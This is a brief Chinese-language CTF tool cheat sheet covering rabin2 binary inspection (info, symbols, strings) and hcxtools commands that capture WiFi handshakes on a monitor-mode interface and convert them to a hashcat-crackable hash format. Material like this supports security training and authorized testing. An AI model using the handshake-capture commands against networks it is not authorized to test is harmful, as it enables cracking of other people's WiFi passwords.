常用命令

rabin2 -I ./a.out
rabin2 -z ./a.out

常用参数

-I                       # 基本信息
-s                       # 符号表
-z                       # 字符串

hcxtools握手抓取与转换

所属分类：CTF常用补充

常用命令

hcxdumptool -i wlan0mon -w capture.pcapng --enable_status=1
hcxpcapngtool -o hash.hc22000 capture.pcapng

常用参数

-i wlan0mon              # 无线接口
-w capture.pcapng        # 输出抓包